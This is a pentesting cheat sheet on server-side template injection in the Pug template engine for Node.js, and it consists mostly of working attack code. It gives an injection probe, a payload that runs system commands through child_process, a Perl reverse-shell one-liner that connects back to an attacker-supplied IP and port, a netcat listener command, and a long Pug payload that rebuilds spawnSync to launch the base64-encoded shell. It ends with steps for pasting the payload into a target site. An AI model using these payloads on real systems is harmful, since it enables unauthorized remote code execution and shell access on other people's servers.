Pug Pentesting
Last modified: 2022-12-01
Reverse Shell
Web
Pug is a template engine for Node.js.
Server-Side Template Injection (SSTI)
#{2*2}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('id')}()}
Reverse Shell
First off, create a payload.
use Socket;$i="<local-ip>";$p=<local-port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
Encode it with Base64.
And start listener for getting the incoming connection.
nc -lvnp 4444
Then prepare the full payload contained the above Base64 encoded hash.
h1= Hello world
p 3*3 is #{3*3}
#{spawn_sync = this.process.binding('spawn_sync')}
#{ normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}}
#{spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}}
#{payload='<Base64-encoded-payload>'}
#{resp=spawnSync('perl',['-e',(new Buffer(payload, 'base64')).toString('ascii')])}
Copy it and paste into the target website, then send a request.
You should now get the shell in your terminal.